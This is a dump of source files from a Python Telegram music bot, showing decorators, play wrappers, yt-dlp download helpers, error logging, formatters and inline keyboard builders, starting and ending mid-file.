**kwargs): if await is_maintenance() is False: if message.from_user.id not in SUDOERS: return await message.reply_text( text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", disable_web_page_preview=True, ) try: await message.delete() except: pass try: language = await get_lang(message.chat.id) language = get_string(language) except: language = get_string("en") return await mystic(_, message, language) return wrapper def languageCB(mystic): async def wrapper(_, CallbackQuery, **kwargs): if await is_maintenance() is False: if CallbackQuery.from_user.id not in SUDOERS: return await CallbackQuery.answer( f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", show_alert=True, ) try: language = await get_lang(CallbackQuery.message.chat.id) language = get_string(language) except: language = get_string("en") return await mystic(_, CallbackQuery, language) return wrapper def LanguageStart(mystic): async def wrapper(_, message, **kwargs): try: language = await get_lang(message.chat.id) language = get_string(language) except: language = get_string("en") return await mystic(_, message, language) return wrapper ================================================ FILE: BrandrdXMusic/utils/decorators/play.py ================================================ import asyncio from pyrogram.enums import ChatMemberStatus from pyrogram.errors import ( ChatAdminRequired, InviteRequestSent, UserAlreadyParticipant, UserNotParticipant, ) from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from BrandrdXMusic import YouTube, app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import ( get_assistant, get_cmode, get_lang, get_playmode, get_playtype, is_active_chat, is_maintenance, ) from BrandrdXMusic.utils.inline import botplaylist_markup from config import PLAYLIST_IMG_URL, SUPPORT_CHAT, adminlist from strings import get_string links = {} clinks = {} def PlayWrapper(command): async def wrapper(client, message): language = await get_lang(message.chat.id) _ = get_string(language) if message.sender_chat: upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ʜᴏᴡ ᴛᴏ ғɪx ?", callback_data="AnonymousAdmin", ), ] ] ) return await message.reply_text(_["general_3"], reply_markup=upl) if await is_maintenance() is False: if message.from_user.id not in SUDOERS: return await message.reply_text( text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", disable_web_page_preview=True, ) try: await message.delete() except: pass audio_telegram = ( (message.reply_to_message.audio or message.reply_to_message.voice) if message.reply_to_message else None ) video_telegram = ( (message.reply_to_message.video or message.reply_to_message.document) if message.reply_to_message else None ) url = await YouTube.url(message) if audio_telegram is None and video_telegram is None and url is None: if len(message.command) < 2: if "stream" in message.command: return await message.reply_text(_["str_1"]) buttons = botplaylist_markup(_) return await message.reply_photo( photo=PLAYLIST_IMG_URL, caption=_["playlist_1"], reply_markup=InlineKeyboardMarkup(buttons), ) if message.command[0][0] == "c": chat_id = await get_cmode(message.chat.id) if chat_id is None: return await message.reply_text(_["setting_12"]) try: chat = await app.get_chat(chat_id) except: return await message.reply_text(_["cplay_4"]) channel = chat.title else: chat_id = message.chat.id channel = None playmode = await get_playmode(message.chat.id) playty = await get_playtype(message.chat.id) if playty != "Everyone": if message.from_user.id not in SUDOERS: admins = adminlist.get(message.chat.id) if not admins: return await message.reply_text(_["admin_18"]) else: if message.from_user.id not in admins: return await message.reply_text(_["play_4"]) if message.command[0][0] == "v": video = True else: if "-v" in message.text: video = True else: video = True if message.command[0][1] == "v" else None if message.command[0][-1] == "e": if not await is_active_chat(chat_id): return await message.reply_text(_["play_18"]) fplay = True else: fplay = None if not await is_active_chat(chat_id): userbot = await get_assistant(chat_id) try: try: get = await app.get_chat_member(chat_id, userbot.id) except ChatAdminRequired: return await message.reply_text(_["call_1"]) if ( get.status == ChatMemberStatus.BANNED or get.status == ChatMemberStatus.RESTRICTED ): return await message.reply_text( _["call_2"].format( app.mention, userbot.id, userbot.name, userbot.username ) ) except UserNotParticipant: if chat_id in links: invitelink = links[chat_id] else: if message.chat.username: invitelink = message.chat.username try: await userbot.resolve_peer(invitelink) except: pass else: try: invitelink = await app.export_chat_invite_link(chat_id) except ChatAdminRequired: return await message.reply_text(_["call_1"]) except Exception as e: return await message.reply_text( _["call_3"].format(app.mention, type(e).__name__) ) if invitelink.startswith("https://t.me/+"): invitelink = invitelink.replace( "https://t.me/+", "https://t.me/joinchat/" ) myu = await message.reply_text(_["call_4"].format(app.mention)) try: await asyncio.sleep(1) await userbot.join_chat(invitelink) except InviteRequestSent: try: await app.approve_chat_join_request(chat_id, userbot.id) except Exception as e: return await message.reply_text( _["call_3"].format(app.mention, type(e).__name__) ) await asyncio.sleep(3) await myu.edit(_["call_5"].format(app.mention)) except UserAlreadyParticipant: pass except Exception as e: return await message.reply_text( _["call_3"].format(app.mention, type(e).__name__) ) links[chat_id] = invitelink try: await userbot.resolve_peer(chat_id) except: pass return await command( client, message, _, chat_id, video, channel, playmode, url, fplay, ) return wrapper def CPlayWrapper(command): async def wrapper(client, message): i = await client.get_me() language = await get_lang(message.chat.id) _ = get_string(language) if message.sender_chat: upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ʜᴏᴡ ᴛᴏ ғɪx ?", callback_data="AnonymousAdmin", ), ] ] ) return await message.reply_text(_["general_3"], reply_markup=upl) if await is_maintenance() is False: if message.from_user.id not in SUDOERS: return await message.reply_text( text=f"{i.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.", disable_web_page_preview=True, ) try: await message.delete() except: pass audio_telegram = ( (message.reply_to_message.audio or message.reply_to_message.voice) if message.reply_to_message else None ) video_telegram = ( (message.reply_to_message.video or message.reply_to_message.document) if message.reply_to_message else None ) url = await YouTube.url(message) if audio_telegram is None and video_telegram is None and url is None: if len(message.command) < 2: if "stream" in message.command: return await message.reply_text(_["str_1"]) buttons = botplaylist_markup(_) return await message.reply_photo( photo=PLAYLIST_IMG_URL, caption=_["play_18"], reply_markup=InlineKeyboardMarkup(buttons), ) if message.command[0][0] == "c": chat_id = await get_cmode(message.chat.id) if chat_id is None: return await message.reply_text(_["setting_7"]) try: chat = await client.get_chat(chat_id) except: return await message.reply_text(_["cplay_4"]) channel = chat.title else: chat_id = message.chat.id channel = None playmode = await get_playmode(message.chat.id) playty = await get_playtype(message.chat.id) if playty != "Everyone": if message.from_user.id not in SUDOERS: admins = adminlist.get(message.chat.id) if not admins: return await message.reply_text(_["admin_13"]) else: if message.from_user.id not in admins: return await message.reply_text(_["play_4"]) if message.command[0][0] == "v": video = True else: if "-v" in message.text: video = True else: video = True if message.command[0][1] == "v" else None if message.command[0][-1] == "e": if not await is_active_chat(chat_id): return await message.reply_text(_["play_16"]) fplay = True else: fplay = None if not await is_active_chat(chat_id): userbot = await get_assistant(chat_id) try: try: get = await client.get_chat_member(chat_id, userbot.username) except ChatAdminRequired: await message.reply_text(_["call_1"]) if ( get.status == ChatMemberStatus.BANNED or get.status == ChatMemberStatus.RESTRICTED ): await message.reply_text( _["call_2"].format( i.mention, userbot.id, userbot.name, userbot.username ) ) except UserNotParticipant: if chat_id in clinks: invitelink = clinks[chat_id] else: if message.chat.username: invitelink = message.chat.username try: await userbot.resolve_peer(invitelink) except: pass else: try: invitelink = await client.export_chat_invite_link(chat_id) except ChatAdminRequired: await message.reply_text(_["call_1"]) except Exception as e: await message.reply_text( _["call_3"].format(i.mention, type(e).__name__) ) if invitelink.startswith("https://t.me/+"): invitelink = invitelink.replace( "https://t.me/+", "https://t.me/joinchat/" ) myu = await message.reply_text(_["call_4"].format(i.mention)) try: await asyncio.sleep(1) await userbot.join_chat(invitelink) except InviteRequestSent: try: await client.approve_chat_join_request(chat_id, userbot.id) except Exception as e: await message.reply_text( _["call_3"].format(i.mention, type(e).__name__) ) await asyncio.sleep(3) await myu.edit(_["call_5"].format(i.mention)) except UserAlreadyParticipant: pass except Exception as e: await message.reply_text( _["call_3"].format(i.mention, type(e).__name__) ) clinks[chat_id] = invitelink try: await userbot.resolve_peer(chat_id) except: pass return await command( client, message, _, chat_id, video, channel, playmode, url, fplay, ) return wrapper ================================================ FILE: BrandrdXMusic/utils/downloader.py ================================================ from os import path import yt_dlp from yt_dlp.utils import DownloadError ytdl = yt_dlp.YoutubeDL( { "outtmpl": "downloads/%(id)s.%(ext)s", "format": "bestaudio[ext=m4a]", "geo_bypass": True, "nocheckcertificate": True, } ) def download(url: str, my_hook) -> str: ydl_optssx = { "format": "bestaudio[ext=m4a]", "outtmpl": "downloads/%(id)s.%(ext)s", "geo_bypass": True, "nocheckcertificate": True, "quiet": True, "no_warnings": True, } info = ytdl.extract_info(url, False) try: x = yt_dlp.YoutubeDL(ydl_optssx) x.add_progress_hook(my_hook) dloader = x.download([url]) except Exception as y_e: return print(y_e) else: dloader xyz = path.join("downloads", f"{info['id']}.{info['ext']}") return xyz ================================================ FILE: BrandrdXMusic/utils/downloaders.py ================================================ import os from yt_dlp import YoutubeDL ydl_opts = { "format": "bestaudio/best", "outtmpl": "downloads/%(id)s.%(ext)s", "geo_bypass": True, "nocheckcertificate": True, "quiet": True, "no_warnings": True, "prefer_ffmpeg": True, "postprocessors": [ { "key": "FFmpegExtractAudio", "preferredcodec": "mp3", "preferredquality": "320", } ], } ydl = YoutubeDL(ydl_opts) def audio_dl(url: str) -> str: sin = ydl.extract_info(url, False) x_file = os.path.join("downloads", f"{sin['id']}.mp3") if os.path.exists(x_file): return x_file ydl.download([url]) return x_file ================================================ FILE: BrandrdXMusic/utils/errors.py ================================================ import sys import traceback from functools import wraps from pyrogram.errors.exceptions.forbidden_403 import ChatWriteForbidden from BrandrdXMusic import app from BrandrdXMusic.logging import LOGGER def split_limits(text): if len(text) < 2048: return [text] lines = text.splitlines(True) small_msg = "" result = [] for line in lines: if len(small_msg) + len(line) < 2048: small_msg += line else: result.append(small_msg) small_msg = line result.append(small_msg) return result def capture_err(func): @wraps(func) async def capture(client, message, *args, **kwargs): try: return await func(client, message, *args, **kwargs) except ChatWriteForbidden: await app.leave_chat(message.chat.id) return except Exception as err: exc_type, exc_obj, exc_tb = sys.exc_info() errors = traceback.format_exception( etype=exc_type, value=exc_obj, tb=exc_tb, ) error_feedback = split_limits( "**ERROR** | `{}` | `{}`\n\n```{}```\n\n```{}```\n".format( 0 if not message.from_user else message.from_user.id, 0 if not message.chat else message.chat.id, message.text or message.caption, "".join(errors), ), ) for x in error_feedback: await app.send_message(LOGGER, x) raise err return capture ================================================ FILE: BrandrdXMusic/utils/events.py ================================================ import inspect import re from pathlib import Path from telethon import events from BrandrdXMusic import telethn def register(**args): """Registers a new message.""" pattern = args.get("pattern", None) r_pattern = r"^[/!.]" if pattern is not None and not pattern.startswith("(?i)"): args["pattern"] = "(?i)" + pattern args["pattern"] = pattern.replace("^/", r_pattern, 1) def decorator(func): telethn.add_event_handler(func, events.NewMessage(**args)) return func return decorator ================================================ FILE: BrandrdXMusic/utils/exceptions.py ================================================ class AssistantErr(Exception): def __init__(self, errr: str): super().__init__(errr) class UnableToFetchCarbon(Exception): pass ================================================ FILE: BrandrdXMusic/utils/extraction.py ================================================ from pyrogram.enums import MessageEntityType from pyrogram.types import Message, User from BrandrdXMusic import app async def extract_user(m: Message) -> User: if m.reply_to_message: return m.reply_to_message.from_user msg_entities = m.entities[1] if m.text.startswith("/") else m.entities[0] return await app.get_users( msg_entities.user.id if msg_entities.type == MessageEntityType.TEXT_MENTION else int(m.command[1]) if m.command[1].isdecimal() else m.command[1] ) ================================================ FILE: BrandrdXMusic/utils/filters_func.py ================================================ from enum import Enum, auto from BrandrdXMusic import app from pyrogram.types import InlineKeyboardMarkup, Message from BrandrdXMusic.utils.msg_types import button_markdown_parser from BrandrdXMusic.utils.notes_func import NoteFillings from emojis import decode from pyrogram.types import Message async def SendFilterMessage(message: Message, filter_name: str, content: str, text: str, data_type: int): chat_id = message.chat.id message_id = message.id text, buttons = button_markdown_parser(text) text = NoteFillings(message, text) reply_markup = None if len(buttons) > 0: reply_markup = InlineKeyboardMarkup(buttons) else: reply_markup = None if data_type == 1: await app.send_message( chat_id=chat_id, text=text, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 2: await app.send_sticker( chat_id=chat_id, sticker=content, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type ==3: await app.send_animation( chat_id=chat_id, animation=content, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 4: await app.send_document( chat_id=chat_id, document=content, caption=text, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 5: await app.send_photo( chat_id=chat_id, photo=content, caption=text, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 6: await app.send_audio( chat_id=chat_id, audio=content, caption=text, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 7: await app.send_voice( chat_id=chat_id, voice=content, caption=text, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 8: await app.send_video( chat_id=chat_id, video=content, caption=text, reply_markup=reply_markup, reply_to_message_id=message_id ) elif data_type == 9: await app.send_video_note( chat_id=chat_id, video_note=content, reply_markup=reply_markup, reply_to_message_id=message_id ) class FilterMessageTypeMap(Enum): text = auto() sticker = auto() animation= auto() document = auto() photo = auto() audio = auto() voice = auto() video = auto() video_note = auto() async def GetFIlterMessage(message): data_type = None content = None text = str() raw_text = message.text or message.caption args = raw_text.split(None, 2) if len(args) >= 3 and not message.reply_to_message: text = message.text.markdown[len(message.command[0]) + len(message.command[1]) + 4 :] data_type = FilterMessageTypeMap.text.value if ( message.reply_to_message and message.reply_to_message.text ): if len(args) >= 2: text = message.reply_to_message.text.markdown data_type = FilterMessageTypeMap.text.value elif ( message.reply_to_message and message.reply_to_message.sticker ): content = message.reply_to_message.sticker.file_id data_type = FilterMessageTypeMap.sticker.value elif ( message.reply_to_message and message.reply_to_message.animation ): content = message.reply_to_message.animation.file_id if message.reply_to_message.caption: text = message.reply_to_message.caption.markdown data_type = FilterMessageTypeMap.animation.value elif ( message.reply_to_message and message.reply_to_message.document ): content = message.reply_to_message.document.file_id if message.reply_to_message.caption: text = message.reply_to_message.caption.markdown data_type = FilterMessageTypeMap.document.value elif ( message.reply_to_message and message.reply_to_message.photo ): content = message.reply_to_message.photo.file_id if message.reply_to_message.caption: text = message.reply_to_message.caption.markdown data_type = FilterMessageTypeMap.photo.value elif ( message.reply_to_message and message.reply_to_message.audio ): content = message.reply_to_message.audio.file_id if message.reply_to_message.caption: text = message.reply_to_message.caption.markdown data_type = FilterMessageTypeMap.audio.value elif ( message.reply_to_message and message.reply_to_message.voice ): content = message.reply_to_message.voice.file_id if message.reply_to_message.caption: text = message.reply_to_message.caption.markdown data_type = FilterMessageTypeMap.voice.value elif ( message.reply_to_message and message.reply_to_message.video ): content = message.reply_to_message.video.file_id if message.reply_to_message.caption: text = message.reply_to_message.caption.markdown data_type= FilterMessageTypeMap.video.value elif ( message.reply_to_message and message.reply_to_message.video_note ): content = message.reply_to_message.video_note.file_id text = None data_type = FilterMessageTypeMap.video_note.value return ( content, text, data_type ) def get_text_reason(message: Message) -> str: """This function returns text, and the reason of the user's arguments Args: message (Message): Message Returns: [str]: text, reason """ text = decode(message.text) index_finder = [x for x in range(len(text)) if text[x] == '"'] if len(index_finder) >= 2: text = text[index_finder[0]+1: index_finder[1]] reason = text[index_finder[1] + 2:] if not reason: reason = None else: text = message.command[1] reason = ' '.join(message.command[2:]) if not reason: reason = None return ( text, reason ) ================================================ FILE: BrandrdXMusic/utils/formatters.py ================================================ import json import subprocess def get_readable_time(seconds: int) -> str: count = 0 ping_time = "" time_list = [] time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"] while count < 4: count += 1 if count < 3: remainder, result = divmod(seconds, 60) else: remainder, result = divmod(seconds, 24) if seconds == 0 and remainder == 0: break time_list.append(int(result)) seconds = int(remainder) for i in range(len(time_list)): time_list[i] = str(time_list[i]) + time_suffix_list[i] if len(time_list) == 4: ping_time += time_list.pop() + ", " time_list.reverse() ping_time += ":".join(time_list) return ping_time def convert_bytes(size: float) -> str: """humanize size""" if not size: return "" power = 1024 t_n = 0 power_dict = {0: " ", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} while size > power: size /= power t_n += 1 return "{:.2f} {}B".format(size, power_dict[t_n]) async def int_to_alpha(user_id: int) -> str: alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"] text = "" user_id = str(user_id) for i in user_id: text += alphabet[int(i)] return text async def alpha_to_int(user_id_alphabet: str) -> int: alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"] user_id = "" for i in user_id_alphabet: index = alphabet.index(i) user_id += str(index) user_id = int(user_id) return user_id def time_to_seconds(time): stringt = str(time) return sum(int(x) * 60**i for i, x in enumerate(reversed(stringt.split(":")))) def seconds_to_min(seconds): if seconds is not None: seconds = int(seconds) d, h, m, s = ( seconds // (3600 * 24), seconds // 3600 % 24, seconds % 3600 // 60, seconds % 3600 % 60, ) if d > 0: return "{:02d}:{:02d}:{:02d}:{:02d}".format(d, h, m, s) elif h > 0: return "{:02d}:{:02d}:{:02d}".format(h, m, s) elif m > 0: return "{:02d}:{:02d}".format(m, s) elif s > 0: return "00:{:02d}".format(s) return "-" def speed_converter(seconds, speed): if str(speed) == str("0.5"): seconds = seconds * 2 if str(speed) == str("0.75"): seconds = seconds + ((50 * seconds) // 100) if str(speed) == str("1.5"): seconds = seconds - ((25 * seconds) // 100) if str(speed) == str("2.0"): seconds = seconds - ((50 * seconds) // 100) collect = seconds if seconds is not None: seconds = int(seconds) d, h, m, s = ( seconds // (3600 * 24), seconds // 3600 % 24, seconds % 3600 // 60, seconds % 3600 % 60, ) if d > 0: convert = "{:02d}:{:02d}:{:02d}:{:02d}".format(d, h, m, s) return convert, collect elif h > 0: convert = "{:02d}:{:02d}:{:02d}".format(h, m, s) return convert, collect elif m > 0: convert = "{:02d}:{:02d}".format(m, s) return convert, collect elif s > 0: convert = "00:{:02d}".format(s) return convert, collect return "-" def check_duration(file_path): command = [ "ffprobe", "-loglevel", "quiet", "-print_format", "json", "-show_format", "-show_streams", file_path, ] pipe = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out, err = pipe.communicate() _json = json.loads(out) if "format" in _json: if "duration" in _json["format"]: return float(_json["format"]["duration"]) if "streams" in _json: for s in _json["streams"]: if "duration" in s: return float(s["duration"]) return "Unknown" formats = [ "webm", "mkv", "flv", "vob", "ogv", "ogg", "rrc", "gifv", "mng", "mov", "avi", "qt", "wmv", "yuv", "rm", "asf", "amv", "mp4", "m4p", "m4v", "mpg", "mp2", "mpeg", "mpe", "mpv", "m4v", "svi", "3gp", "3g2", "mxf", "roq", "nsv", "flv", "f4v", "f4p", "f4a", "f4b", ] ================================================ FILE: BrandrdXMusic/utils/inline/__init__.py ================================================ from .extras import * from .help import * from .play import * from .queue import * from .settings import * from .speed import * from .start import * from .playlist import * ================================================ FILE: BrandrdXMusic/utils/inline/extras.py ================================================ from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from config import SUPPORT_CHAT def botplaylist_markup(_): buttons = [ [ InlineKeyboardButton(text=_["S_B_9"], url=SUPPORT_CHAT), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def close_markup(_): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="🥀 ꜱᴜᴘᴘᴏʀᴛ 🥀", url=f"https://t.me/BRANDED_WORLD" ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ] ] ) return upl def supp_markup(_): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["S_B_9"], url=SUPPORT_CHAT, ), ] ] ) return upl ================================================ FILE: BrandrdXMusic/utils/inline/help.py ================================================ from typing import Union from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from BrandrdXMusic import app def help_pannel(_, START: Union[bool, int] = None): first = [InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data=f"close")] second = [ InlineKeyboardButton( text=_["BACK_PAGE"], callback_data=f"mbot_cb", ), InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"settingsback_helper", ),InlineKeyboardButton( text=_["NEXT_PAGE"], callback_data=f"mbot_cb", ), ] mark = second if START else first upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["H_B_1"], callback_data="help_callback hb1", ), InlineKeyboardButton( text=_["H_B_2"], callback_data="help_callback hb2", ), InlineKeyboardButton( text=_["H_B_3"], callback_data="help_callback hb3", ), ], [ InlineKeyboardButton( text=_["H_B_4"], callback_data="help_callback hb4", ), InlineKeyboardButton( text=_["H_B_5"], callback_data="help_callback hb5", ), InlineKeyboardButton( text=_["H_B_6"], callback_data="help_callback hb6", ), ], [ InlineKeyboardButton( text=_["H_B_7"], callback_data="help_callback hb7", ), InlineKeyboardButton( text=_["H_B_8"], callback_data="help_callback hb8", ), InlineKeyboardButton( text=_["H_B_9"], callback_data="help_callback hb9", ), ], [ InlineKeyboardButton( text=_["H_B_10"], callback_data="help_callback hb10", ), InlineKeyboardButton( text=_["H_B_11"], callback_data="help_callback hb11", ), InlineKeyboardButton( text=_["H_B_12"], callback_data="help_callback hb12", ), ], [ InlineKeyboardButton( text=_["H_B_13"], callback_data="help_callback hb13", ), InlineKeyboardButton( text=_["H_B_14"], callback_data="help_callback hb14", ), InlineKeyboardButton( text=_["H_B_15"], callback_data="help_callback hb15", ), ], mark, ] ) return upl def help_back_markup(_): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"settings_back_helper", ), ] ] ) return upl def private_help_panel(_): buttons = [ [ InlineKeyboardButton( text=_["S_B_4"], url=f"https://t.me/{app.username}?start=help", ), ], ] return buttons ================================================ FILE: BrandrdXMusic/utils/inline/play.py ================================================ import math from pyrogram.types import InlineKeyboardButton from BrandrdXMusic.utils.formatters import time_to_seconds # Track Markup def track_markup(_, videoid, user_id, channel, fplay): return [ [ InlineKeyboardButton( text=_["P_B_1"], callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}", ), InlineKeyboardButton( text=_["P_B_2"], callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}", ), ], [ InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"forceclose {videoid}|{user_id}", ) ], ] # Stream Timer Markup def stream_markup_timer(_, vidid, chat_id, played, dur): played_sec = time_to_seconds(played) duration_sec = time_to_seconds(dur) or 1 # avoid ZeroDivisionError percentage = (played_sec / duration_sec) * 100 umm = math.floor(percentage) if 0 < umm <= 10: bar = "❥—————————" elif 10 < umm < 20: bar = "—❥————————" elif 20 <= umm < 30: bar = "——❥———————" elif 30 <= umm < 40: bar = "———❥——————" elif 40 <= umm < 50: bar = "————❥—————" elif 50 <= umm < 60: bar = "—————❥————" elif 60 <= umm < 70: bar = "——————❥———" elif 70 <= umm < 80: bar = "———————❥——" elif 80 <= umm < 95: bar = "————————❥—" else: bar = "—————————❥" return [ [ InlineKeyboardButton( text=f"{played} {bar} {dur}", callback_data="GetTimer" ) ], [ InlineKeyboardButton(text="▷", callback_data=f"ADMIN Resume|{chat_id}"), InlineKeyboardButton(text="II", callback_data=f"ADMIN Pause|{chat_id}"), InlineKeyboardButton(text="↻", callback_data=f"ADMIN Replay|{chat_id}"), InlineKeyboardButton(text="‣‣I", callback_data=f"ADMIN Skip|{chat_id}"), InlineKeyboardButton(text="▢", callback_data=f"ADMIN Stop|{chat_id}"), ], [ InlineKeyboardButton(text="ᴏᴡɴᴇʀ", url="https://t.me/BRANDEDKING8"), InlineKeyboardButton(text="sᴜᴘᴘᴏʀᴛ", url="https://t.me/BRANDED_WORLD"), ], [InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close")], ] # Stream Markup def stream_markup(_, videoid, chat_id): return [ [ InlineKeyboardButton(text="▷", callback_data=f"ADMIN Resume|{chat_id}"), InlineKeyboardButton(text="II", callback_data=f"ADMIN Pause|{chat_id}"), InlineKeyboardButton(text="↻", callback_data=f"ADMIN Replay|{chat_id}"), InlineKeyboardButton(text="‣‣I", callback_data=f"ADMIN Skip|{chat_id}"), InlineKeyboardButton(text="▢", callback_data=f"ADMIN Stop|{chat_id}"), ], [ InlineKeyboardButton(text="ᴏᴡɴᴇʀ", url="https://t.me/BRANDEDKING8"), InlineKeyboardButton(text="sᴜᴘᴘᴏʀᴛ", url="https://t.me/BRANDED_WORLD"), ], [InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close")], ] # Playlist Markup def playlist_markup(_, videoid, user_id, ptype, channel, fplay): return [ [ InlineKeyboardButton( text=_["P_B_1"], callback_data=f"Playlists {videoid}|{user_id}|{ptype}|a|{channel}|{fplay}", # fix name if needed ), InlineKeyboardButton( text=_["P_B_2"], callback_data=f"Playlists {videoid}|{user_id}|{ptype}|v|{channel}|{fplay}", ), ], [ InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"forceclose {videoid}|{user_id}", ), ], ] # Livestream Markup def livestream_markup(_, videoid, user_id, mode, channel, fplay): return [ [ InlineKeyboardButton( text=_["P_B_3"], callback_data=f"LiveStream {videoid}|{user_id}|{mode}|{channel}|{fplay}", ), ], [ InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"forceclose {videoid}|{user_id}", ), ], ] # Slider Markup def slider_markup(_, videoid, user_id, query, query_type, channel, fplay): query = f"{query[:20]}" return [ [ InlineKeyboardButton( text=_["P_B_1"], callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}", ), InlineKeyboardButton( text=_["P_B_2"], callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}", ), ], [ InlineKeyboardButton( text="◁", callback_data=f"slider B|{query_type}|{query}|{user_id}|{channel}|{fplay}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data=f"forceclose {videoid}|{user_id}", # ✅ fixed ), InlineKeyboardButton( text="▷", callback_data=f"slider F|{query_type}|{query}|{user_id}|{channel}|{fplay}", ), ], ] ================================================ FILE: BrandrdXMusic/utils/inline/playlist.py ================================================ from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup def botplaylist_markup(_): buttons = [ [ InlineKeyboardButton( text=_["PL_B_1"], callback_data="get_playlist_playmode", ), ], [ InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def top_play_markup(_): buttons = [ [InlineKeyboardButton(text=_["PL_B_9"], callback_data="SERVERTOP global")], [InlineKeyboardButton(text=_["PL_B_10"], callback_data="SERVERTOP chat")], [InlineKeyboardButton(text=_["PL_B_11"], callback_data="SERVERTOP user")], [ InlineKeyboardButton(text=_["BACK_BUTTON"], callback_data="get_playmarkup"), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def get_playlist_markup(_): buttons = [ [ InlineKeyboardButton(text=_["P_B_1"], callback_data="play_playlist a"), InlineKeyboardButton(text=_["P_B_2"], callback_data="play_playlist v"), ], [ InlineKeyboardButton(text=_["BACK_BUTTON"], callback_data="home_play"), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def top_play_markup(_): buttons = [ [InlineKeyboardButton(text=_["PL_B_9"], callback_data="SERVERTOP Global")], [InlineKeyboardButton(text=_["PL_B_10"], callback_data="SERVERTOP Group")], [InlineKeyboardButton(text=_["PL_B_11"], callback_data="SERVERTOP Personal")], [ InlineKeyboardButton(text=_["BACK_BUTTON"], callback_data="get_playmarkup"), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def failed_top_markup(_): buttons = [ [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="get_top_playlists", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def warning_markup(_): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["PL_B_7"], callback_data="delete_whole_playlist", ), ], [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="del_back_playlist", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ], ] ) return upl def close_markup(_): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ] ] ) return upl ================================================ FILE: BrandrdXMusic/utils/inline/queue.py ================================================ from typing import Union from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup def queue_markup( _, DURATION, CPLAY, videoid, played: Union[bool, int] = None, dur: Union[bool, int] = None, ): not_dur = [ [ InlineKeyboardButton( text=_["QU_B_1"], callback_data=f"GetQueued {CPLAY}|{videoid}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ] ] dur = [ [ InlineKeyboardButton( text=_["QU_B_2"].format(played, dur), callback_data="GetTimer", ) ], [ InlineKeyboardButton( text=_["QU_B_1"], callback_data=f"GetQueued {CPLAY}|{videoid}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ], ] upl = InlineKeyboardMarkup(not_dur if DURATION == "Unknown" else dur) return upl def 